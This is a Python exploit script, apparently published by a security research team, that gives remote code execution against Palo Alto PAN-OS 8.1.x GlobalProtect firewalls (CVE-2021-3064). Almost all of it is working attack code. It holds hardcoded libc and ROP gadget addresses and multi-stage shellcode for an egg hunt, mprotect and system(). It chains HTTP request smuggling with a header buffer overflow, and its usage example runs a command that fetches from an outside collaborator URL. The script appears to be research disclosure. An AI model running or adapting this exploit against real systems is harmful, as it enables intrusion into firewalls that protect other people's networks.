README.md
Rendering markdown...
#!/usr/bin/env python3
#
# Bishop Fox Cosmos Team
# Pan-OS 8.x_vm buffer overflow exploit
# @CarlLivitt
#
# April 2022
#
# Run: ./CVE-2021-3064.py -h
#
import struct
import ssl
import socket
import sys
import time
import base64
import getopt
def usage():
print((
"Bishop Fox Cosmos Team\n"
"Palo Alto 8.1.1 - 8.1.16 RCE Exploit\n"
"\n"
"%s [-v] -t host[:port] [ -c commands | -s shellcode_file ]\n"
"\n"
" -h Help.\n"
" -v Test if vulnerable. No exploit.\n"
" -t host[:port] Specify the target IP:port. Defaults to port 443.\n"
" -s filename Use raw shellcode from <filename>.\n"
" -c commands Run <commands> on the firewall.\n"
" E.g. \"%s -t foo.com -c 'wget https://bf_collaborator.url/; foo; bar;'\"\n"
" or \"%s -t bar.com:8443 -s /path/to/shellcode.bin\""
"" % (sys.argv[0], sys.argv[0], sys.argv[0])
))
exit(0)
# These magic numbers are taken from /lib64/libc-2.12.so.1 and are
# identical across versions 8.1.1 - 8.1.16 of PanOS.
systemAddr = 0x7ffff70176b0 # 8.1.1 - 8.1.16
ROPGadget = 0x7ffff704a72d # 8.1.1 - 8.1.16
mprotectAddr = 0x7ffff70a8fa0 # 8.1.1 - 8.1.16
#systemAddr = 0x7ffff70170b0 # 8.1.0
#ROPGadget = 0x7ffff7032ff5 # 8.1.0
#mprotectAddr = ???? # 8.1.0 # I haven't looked this up yet
#
# NULL-free shellcode for strcpy() overflow.
# This is basically a loader that exposes an interface to run arbitrary shellcode
# and then restore the stack so that the exploited function call returns as normal
# without crashing or disrupting avalability.
#
exploitPayload = (
##
## 2nd stage of shellcode. Not the entry point.
## This basically does mprotect(heap, 65535, RWX); jmp heap;
##
"\x48\xc7\xc0\x8f\x90\x90\x90" # mov rax, 0x9090908f # don't pollute the heap with fake egg
"\xfe\xc0" # inc rl # rax = 0x58584148 = "HAXX" = egg
"\x31\xc9\x48\x83\xe9\x01" # mov rcx, 0xffffffffffffffff # count forever
"\x48\xc7\xc7\x08\x01\x01\x01" # mov rdi, 0x01010108 # start address for egg hunt on heap
"\xf2\xaf" # repne scasd eax, dword [rdi] # find "\x90\x90\x90\x90"
"\x57" # push rdi # save a copy of heap address for later
# mprotect param 1: page-aligned address to modify
# mprotect(2) requires a page-aligned address. Pages are typically 4k in size.
# A simple hack for this is to shift right by 12 bits, then shift left by 12 bits.
# This takes an address like 0x10c9ABC and makes it 0x10c9000.
"\x48\xc1\xef\x0c" # shr rdi, 12 # shift right then left by 12 bits...
"\x48\xc1\xe7\x0c" # shl rdi, 12 # ...to page-align the heap address.
# mprotect param 2: number of bytes to change. 64k in this case.
"\x48\xc1\xe9\x30" # shr rcx, 48 # leave 0x000000000000ffff in rcx
"\x48\x89\xce" # mov rsi, rcx
# mprotect param 3: RWX page protection flags
"\x28\xf6" # sub dh, dh
"\xb2\x07" # mov dl, 7 # RWX
# call mprotect(heap_addr, 0xffff, PAGE_READ | PAGE_WRITE | PAGE_EXECUTE)
"\xff\xd3" # call rbx / mprotect
# restore heap/shellcode address into rbx, then jump to it
"\x5b" # pop rbx
"\xff\xe3" # jmp rbx
# 1 byte to spare.
# Our work is done, control has been transferred to heap shellcode.
"\x90"
##
## 1st stage (entry point) of shellcode. This is where the party starts!
## We land here after the ROP gadget, the address of which we used to clobber
## the saved rip on the stack during the buffer overflow, does a "jmp rsi".
##
"\x48\xbb__MPROTECT__\xff\xff" # mov rbx, addr_of_mprotect with ffff in msb
"\x48\xc1\xe3\x10" # shl rbx, 16
"\x48\xc1\xeb\x10" # shr rbx, 16 # rbx=0x00007ffff70176b0 (mprotect @ libc-2.12.so)
"\x90\x90" # nop padding
"\xeb\xb8" # jmp -70 # jump to 2nd stage of shellcode, above.
# Last 6 characters (7 with the strcpy()'d NULL) replace RIP on the stack
"__ROP_GADGET__" # RET overwrite. 0x007ffff704a72d @ libc-2.12.so = "jmp rsi"
).replace("__MPROTECT__", struct.pack('<Q', mprotectAddr)[0:6].decode('raw_unicode_escape'))\
.replace("__ROP_GADGET__", struct.pack('<Q', ROPGadget)[0:6].decode('raw_unicode_escape'))
stackSaveShellcode = "\x54" # push rsp
# The system() function is greedy for stack space. So greedy, in fact, that
# it trashes too much of the stack that we later need to recover gracefully.
# This shellcode gives system() (or any other shellcode) 64k of space on the
# stack to play with.
stackAllocShellcode = (
"\x66\xb8\xff\xff" # xor rax, rax
"\x48\x31\xc0" # mov ax, 0xffff # give 64k of stack space to shellcode
"\x48\x29\xc4" # sub rsp, rax
)
# Commands passed to the "-c" command-line argument will be executed
# by this shellcode. The commands are stored on the heap, which this
# shellcode searches to find the commands before executing them.
commandExecShellcode = (
"\x48\xba__SYSTEM__\xff\xff" # mov rdx, system@GOT | 0xffff000000000000
"\x48\xc1\xe2\x10" # shl rdx, 16
"\x48\xc1\xea\x10" # shr rdx, 16 # rdx=0x00007ffff70176b0 (system @ libc-2.12.so)
"\x48\xc7\xc0\x47\x41\x58\x58" # mov rax, 0x58584147 # don't pollute the heap with false egg
"\x48\xff\xc0" # inc rax # rax = 0x58584148 = "HAXX" = egg
"\x31\xc9\x48\x83\xe9\x01" # mov rcx, 0xffffffffffffffff # count forever
"\x48\xc7\xc7\x08\x01\x01\x01" # mov rdi, 0x01010108 # start address for egg hunt on heap
"\xf2\xaf" # repne scasd eax, dword [rdi] # find "HAXX"
"\xff\xd2" # call rdx # system("HAXX; OS commands;")
).replace("__SYSTEM__", struct.pack('<Q', systemAddr)[0:6].decode('raw_unicode_escape'))
# This is called last to mop up the damage we did to the stack.
# It emulates the stack layout that's 4 frames back up the parent
# caller stack, then runs the same instructions as that function's
# epilogue. It prevents a crash and keeps everything running nicely.
stackRestoreShellcode = (
"\x5c" # pop rsp # restore rsp
"\x48\x31\xc0" # xor rax, rax
"\x66\xb8\xa0\x02" # mov ax, 0x2a0 # add the magic offset to rsp
"\x48\x01\xc4" # add rsp, rax
"\x48\x89\xe5" # mov rbp, rsp # rbp = rsp
"\x48\x31\xc0" # xor rax, rax
"\xb0\x50" # mov al, 0x50 # in this stack frame, rbp = rsp + 0x50
"\x48\x01\xc5" # add rbp, rax # add the magic offset to rbp
# rsp and rbp are now set to the values normally associated with sslvpnHandler_run()'s epilogue.
# The original sslvpnHandler_run() code calls leave/ret, so we do too.
"\xc9" # leave
"\xc3" # ret
# Our work here is done. Appweb3 will now close the HTTP session normally. Nothing further happens, the end.
)
# Bug #1: HTTP smuggling.
payload = (
"HEAD /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345 HTTP/1.1\r\n"
# for 8.1.17 "HEAD /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345&ts=AAAAAAAAAAAAAAAAAAAAAA&token=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= HTTP/1.1\r\n"
"Transfer-Encoding\r\n"
"Connection: keep-alive\r\n"
"Content-length:LLLLL\r\n"
"\r\n"
)
# Bug #2: Buffer overflow in smuggled HTTP header 'X-Real-IP'.
smuggledRequest = (
"GET /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345 HTTP/1.0\r\n"
# for 8.1.17 "GET /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345&ts=AAAAAAAAAAAAAAAAAAAAAA&token=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= HTTP/1.0\r\n"
"X-Real-IP: XXXXX\r\n"
"X-Real-PORT: 31337\r\n"
"\r\n"
"\x90\x90\x90\x90\x90\x90\x90\x90YYYYY\xcc\xcc\xcc\xcc\xcc\xcc\xccHAXX HAXX HAXX HAXX HAXX HAXX HAXX HAXX;ZZZZZ;\r\n"
"\r\n"
)
# Functions
# Return a socket connected to the target.
# It might be SSL, it might be cleartext, we don't care.
# It's always cleartext to the caller; just read/write it.
def getConnectedSocket(host, port):
# Setup SSL
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
tcpSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sslSock = ctx.wrap_socket(tcpSock, server_hostname=host)
# Try SSL. Fall back to clear text if it fails.
sock = sslSock
try:
sock.connect((host, port))
except ssl.SSLError:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
try:
sock.connect((host, port))
except:
print("ERROR: couldn't connect to %s:%d" % (host, port))
exit(1)
return sock
# Helper to send bytes to a socket and read a response
def send_recieve(sock, data):
try:
sock.sendall(data)
return sock.recv(4096).decode().split('\r\n')
except Exception as e:
print("send_receive exception: ", e)
return None
# Return True or False
def is_vulnerable(host, port):
# connect to remote server
sock = getConnectedSocket(host, port)
# send request designed to elicit "Invalid input"
payload = "GET /clientcert-info.sslvpn? HTTP/1.1\r\n\r\n".encode('raw_unicode_escape')
r = send_recieve(sock, payload)
if (r == None) or (not "HTTP/1.1 552 Custom error" in r):
reason = "Not vulnerable: doesn't look like Palo Alto Global Protect"
return (False, reason)
if not "<p>Invalid input: /clientcert-info.sslvpn</p>" in r:
reason = "Not vulnerable: didn't receive expected response ('Invalid input') from Global Protect"
return (False, reason)
# send request that will pass for <= 8.1.16, but error with "Invalid input" for >= 8.1.17
payload = "GET /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345 HTTP/1.1\r\n\r\n".encode('raw_unicode_escape')
r = send_recieve(sock, payload)
if (r == None) or (not "HTTP/1.1 552 Custom error" in r):
reason = "Not vulnerable: didn't receive expected response ('HTTP/1.1 552 Custom error')"
return (False, reason)
if "<p>Invalid input: /clientcert-info.sslvpn</p>" in r:
reason = "Not vulnerable: found Pan-OS version >= 8.1.17 (see code comments re: 8.1.17)"
return (False, reason)
# for 8.1.17 support: return (True, reason)
if "Transfer-Encoding: chunked" in r:
if "Connection: keep-alive" in r:
if "Content-Type: text/html" in r:
return (True, "Vulnerable!")
return (False, "Not vulnerable? Unknown. Response: %s" % str(r))
# Either exit() if unsuccessful, or return if (probably) successful.
def do_exploit():
global payload, host, port
print("[+] do_exploit(%s:%d)" % (host, port))
try:
sock = getConnectedSocket(host, port)
sock.send(payload.encode('raw_unicode_escape'))
# Read firewall response
#print("[+] Read response")
r = sock.recv(512).decode().split('\r\n')
response = "\n".join(r)
sock.close()
except Exception as e:
print("\nException: ", e)
# If we get a response matching the following parameters, then the exploit
# was _probably_ successful. Or it crashed the remote process. Figure it out ;)
if "HTTP/1.1 400 Bad Request" in response and "Content-Length: 176" in response:
print("[+] Received the expected response! Exploit appears successful.")
else:
print("[!] Did NOT receive the expected response.\n\n%s" % response)
exit(1)
#
# Start
#
if __name__ == "__main__":
stage3Shellcode = ""
shellcodeMode = False
commandMode = False
attemptExploit = True
shellcodeFile = ""
rceCommands = ""
host = ""
port = 0
# Handle command-line
try:
opts, args = getopt.getopt(sys.argv[1:], "hvt:s:c:", ["help", "test-vuln", "target=", "shellcode-file=","command="])
except getopt.GetoptError as err:
# print help information and exit:
print(err) # will print something like "option -a not recognized"
usage()
sys.exit(2)
for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit()
elif o in ("-v", "--test-vuln"):
attemptExploit = False
elif o in ("-t", "--target"):
host = a
if ':' in host:
(host, port) = host.split(':')
port = int(port)
else:
host = a
port = 443
elif o in ("-s", "--shellcode"):
shellcodeMode = True
shellcodeFile = a
try:
with open(shellcodeFile, mode='rb') as file:
userShellcode = file.read()
stage3Shellcode = stackSaveShellcode + stackAllocShellcode + userShellcode + stackRestoreShellcode
except:
print("Error, couldn't open %s." % shellcodeFile)
exit(2)
elif o in ("-c", "--command"):
commandMode = True
rceCommands = a
stage3Shellcode = stackSaveShellcode + stackAllocShellcode + commandExecShellcode + stackRestoreShellcode
else:
usage()
exit(1)
if (commandMode == False and shellcodeMode == False) or (commandMode == True and shellcodeMode == True):
usage()
exit(1)
if attemptExploit == False and (shellcodeMode == True or commandMode == True):
usage();
exit(1)
if host == "":
usage()
exit(1)
# Test vuln before trying the exploit
print("[+] Testing to see if %s is vulnerable..." % host)
(status, reason) = is_vulnerable(host, port)
if status == False:
print("[!] %s" % reason)
exit(2)
if attemptExploit == False:
print("[+] %s" % reason)
exit(0)
# Populate our payload buffer
smuggledRequest = smuggledRequest.replace("XXXXX", exploitPayload)
smuggledRequest = smuggledRequest.replace("YYYYY", stage3Shellcode)
smuggledRequest = smuggledRequest.replace("ZZZZZ", rceCommands)
payload = payload.replace("LLLLL", str(len(smuggledRequest)))
payload = payload + smuggledRequest
# Unleash the beast
print("[+] %s appears to be vulnerable. Trying the exploit!" % host)
do_exploit()
print("[+] All done. So long, and thanks for all the fish!")
# EOF